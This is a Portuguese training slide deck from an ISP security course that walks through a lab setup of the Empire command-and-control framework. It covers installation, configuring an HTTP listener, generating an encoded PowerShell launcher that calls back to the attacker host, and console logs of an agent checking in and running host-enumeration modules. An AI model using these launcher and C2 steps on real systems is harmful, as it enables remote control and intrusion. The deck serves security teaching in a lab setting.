

# Basic Security for regional ISP



## SEMANA DE CAPACITAÇÃO

Parceria



Realização

ceptro.br nic.br

# Cryptojacking

## Requisitos de LAB

- Virtualizador VMWare Workstation 15
- VM Windows 10
- VM Kali linux
- Conta no Blogger
- Conta no Coinimp



# Command & Control

## Requisitos de LAB

- Virtualizador VMWare Workstation 15
- VM Windows 10
- VM Kali linux
- Empire



# Instalação Empire (Kali) via Github

- Escolher um diretório qualquer (/opt)
- **cd /opt**
- **git clone <https://github.com/BC-SECURITY/Empire.git>**
- **Cd /opt/**
- **ls**
- **cd setup/**
- **ls**
- **./install.sh**

# Troubleshooting

- Caso tenha problemas durante a instalação:
- Instalação do pacote M2Crypto **apt install python3-m2crypto**
- Executar **./install.sh**
- Executar manualmente o **./setup\_database.py**

# Executar o Empire

- `cd /opt/Empire`
- `./empire`

Listener = **Servidor/Atacante**  
Stager/Laucher = **Vitima**

```
=====
[Empire] Post-Exploitation Framework
=====
[Version] 3.3.1 BC-Security Fork | [Web] https://github.com/BC-SECURITY/Empire
=====
[Starkiller] Multi-User GUI | [Web] https://github.com/BC-SECURITY/Starkiller
=====

  EMPiRE

  302 modules currently loaded
  1 listeners currently active
  1 agents currently active

(Empire) > █
```



# Criando Listener

- Uselistener http
- info

- set Name Listener1
- set Port 80
- set DefaultDelay 2
- set DefaultJitter 0.1
- set StaginKey senha secreta (copy hash)
- set StaginKey hash (colar hash)
- execute
- main

```
(Empire) > uselistener http
(Empire: listeners/http) > info

Name: HTTP[S]
Category: client_server

Authors:
@harj0y

Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.

HTTP[S] Options:

```

Name	Required	Value	Description
Name	True	Listener1	Name for the listener.
Host	True	http://192.168.1.125:80	Hostname/IP for staging.
BindIP	True	0.0.0.0	The IP to bind to on the control server.
Port	True	80	Port for the listener.
Launcher	True	powershell -noP -sta -w 1 -enc 7ddd68e771c61f836eb6de453185c505	Launcher string.
StagingKey	True		Staging key for initial agent negotiation.
DefaultDelay	True	1	Agent delay/reach back interval (in seconds).
DefaultJitter	True	0.0	Jitter in agent reachback interval (0.0-1.0).
DefaultLostLimit	True	60	Number of missed checks before exiting
DefaultProfile	True	/admin/get.php,/news.php,/login/process.php Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko	Default communication profile for the agent.
CertPath	False		Certificate path for https listeners.
KillDate	False		Date for the listener to exit (MM/dd/yyyy).
WorkingHours	False		Hours for the agent to operate (09:00-17:00).
Headers	True	Server:Microsoft-IIS/7.5	Headers for the control server.
Cookie	False	tBLwAVyZcgWVAj	Custom Cookie Name
StagerURI	False		URI for the stager. Must use /download/. Example: /download/stager.php
UserAgent	False	default	User-agent string to use for the staging request (default, none, or other).
Proxy	False	default	Proxy to use for request (default, none, or other).
ProxyCreds	False	default	Proxy credentials ((domain)\username:password) to use for request (default, none, or other).
SlackToken	False		Your SlackBot API token to communicate with your Slack instance.
SlackChannel	False	#general	The Slack channel or DM that notifications will be sent to.

```
00102-41
```







# Stager/Launcher Ativo (Kali)

```
(Empire: stager/multi/launcher) > set Listener Listener1
(Empire: stager/multi/launcher) > generate
powershell -nop -sta -w 1 -enc SQBmACgAJBQAFMAVgBFHAIcWBJAG8AbgBUAEeAQgBsAGUALgBQAFMAVgB1AF1AUwB JAG8AbgAUeAQQBKE8E8AcgAgAC0AZwBFACAMwApAhSAJAA2ADgANgA2AD0AwWbYAEUzGbdAC4AQQBzAFMAZQBNAETAbABZAC4ARwBFAHQAVAB5AHAARQAOAcCAUwB5AHMADAB
1AG0ALgBNAGEAbgBhAGCZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAUAFUAdBpAgWAcwAnACKALg1AEcARQB0AEYAAQB1LAGAAbBEACTAKAAnAGMYAQB jAGgAZQBKEcAcgBvAHUAcB0AG8AbBpAGMAeQBtAGUAdAB0AGKAbgBnAHMAJwAsAcATgAnCsAJwBvAG4AUAB1AG1AbAbpAGMALBtAH
QAYQ0B0AGkAYwAnACKA0wBjAGYAKAAkADYA0AAZADYAKQB7ACQAMQBMAGUANw9ACQANgA4ADYANgAUeAcARQB0AFYAQQB8AHUAZQAOAcQABgB1AGwAbAaPAdSASQBMACgAJAAXAGYAZQ3AFSAJwBtAGMACgBpAAHADABCACcAKwAnAGwAbwB jAGsATABVAgCzWbPAG4AZwAnAF0AQKB7ACQAMQBMAGUAnwBbACCcAU
wBjAHTAaQBwAHQAgAnAcSAJwBsAG8AYwBtAEwAbwBnAGcAaQB0UAcAJwBdAFSAJwBtFAG4AYQB1AGwAZQBtAGMACgBpAAHADABCACcAKwAnAGwAbwB jAGsATABVAgCzWbPAG4AZwAnAF0AQKB7ACQAMQBMAGUAnwBbACCcAU
AEUAbgBhAG1AbAB1AFMAyWbYAgkAcB0AETABtABVAGMAawBJAG4DgBvAGMAYQB0AGkAbwBwAEwAbwBnAGcAaQB0UAcAJwBdAD0AMAB9ACQAVgBhEAWPQBbEMAbwBMAEwAZQB jAFQASQBPAE4AUwAUeAcARQB0AGUUAUgBpAEMLgBEAEkAQwB0AGKAbwB0AGEAUgB5AFcAcwBUAFtAaQBUEcALABtAFkAcwB0AGU
ATQAUAE8AYgBKAGUAYwBUAF0AQXQ6AD0AbgBFACAKAaPAdSABZAEETAUAEARABKACgAJwBtFAG4AYQB1AGwAZQBtAGMACgBpAAHADABCACcAKwAnAGwAbwB jAGsATABVAgCzWbPAG4AZwAnAF0AQKB7ACQAMQBMAGUAnwBbACCcAU
BUAHYAbwB jAGeAdABpAG8AbgBMAg8AZwBnAGkAbgBnACALAAwACKA0wAKADeARgBFADcAWnAeAgSbWbFAKXwBMAE8AQwBBAEwAXwBNAEEAQwB1AEKATgBFAFwUwBvGYAdAB3AGEcGBlAFwUwBvAGwAAQb jAGkAZQBzAFwATQBtAGMACgBpAAHADABCACcAKwAnAGwAbwB jAGsATABVAgCzWbPAG4AZwAnAF0AQKB7ACQAMQBMAGUAnwBbACCcAU
FMAAB1AGwAbABcAFMAyWbYAgkAcB0AETABtABVAGMAawBMAG8AZwBnAGkAbgBnACcAXQ49ACQAVgBhGwAFQBFwEwUwBFAHsAwBtEAMUgBpAAHADABCAGwATwB jAEASXQAUACIARwB1AHQARgBpAEUAYBAMGQAItgAoAcCwBpAGcAbgBhAHQAdBpAGUAcwAnACwAJwB0ACCkAnAG8AbgBQAUA
YgBsAGkAYwAsAFMADABhAHQAAQb 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
(Empire: stager/multi/launcher) >
[*] Sending POWERSHELL stager (stage 1) to 192.168.1.124
[*] New agent KNEYM5R7 checked in
[*] Initial agent KNEYM5R7 from 192.168.1.124 now active (Slack)
[*] Sending agent (stage 2) to KNEYM5R7 at 192.168.1.124
```





# Exploração/Interação com o Stager/Launcher(Kali)

- agents
- info
- interact (Nome do agent)
- interact KNEYM5R7
- usemodule (modulo de exploração)
- usermodule situational\_awareness/host/winenum
- info
- execute

```
(Empire: powershell/situational_awareness/host/winenum) > info
```

```
Name: Invoke-WinEnum
Module: powershell/situational_awareness/host/winenum
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
```

Authors:  
@xorrior

Description:  
Collects relevant information about a host and the current user context.

Comments:  
<https://github.com/xorrior/RandomPS-Scripts/blob/master/Invoke-WindowsEnum.ps1>

Options:

Name	Required	Value	Description
Agent	True	KNEYM5R7	Agent to run module on.
Keywords	False		Array of keywords to use in file searches.
UserName	False		UserName to enumerate. Defaults to the current user context.

# Exploração/Interação com o Stager/Launcher(Kali)

- main
- agents
- info
- interact (Nome do agent)
- interact **KNEYM5R7**
- usemodule (modulo de exploração)
- usemodule situational\_awareness/host/winenum
- info
- execute
- Para sair do modulo **back**



# Exploração/Interação com o Stager/Launcher(Kali)

- main
- agents
- info
- interact (Nome do agent)
- interact KNEYM5R7
- usemodule (modulo de exploração)
- usemodule trollsploit/rick\_ascii
- info
- execute
- Para sair do modulo **back**

```
(Empire: KNEYM5R7) > usemodule trollsploit/rick_ascii
(Empire: powershell/trollsploit/rick_ascii) > info
```

```
Name: Invoke-RickASCII
Module: powershell/trollsploit/rick_ascii
NeedsAdmin: False
OpsecSafe: false
Language: powershell
MinLanguageVersion: 2
Background: False
OutputExtension: None

Authors:
@Lee_holmes
@harmj0y

Description:
Spawns a new powershell.exe process that runs Lee Holmes'
ASCII Rick Roll.

Comments:
http://www.leeholmes.com/blog/2011/04/01/powershell-and-
html5/

Options:
```

Name	Required	Value	Description
Agent	True	KNEYM5R7	Agent to run module on.



# OBRIGADO!

Josiane.silva@scansource.com

Parceria



Realização

ceptro.br nic.br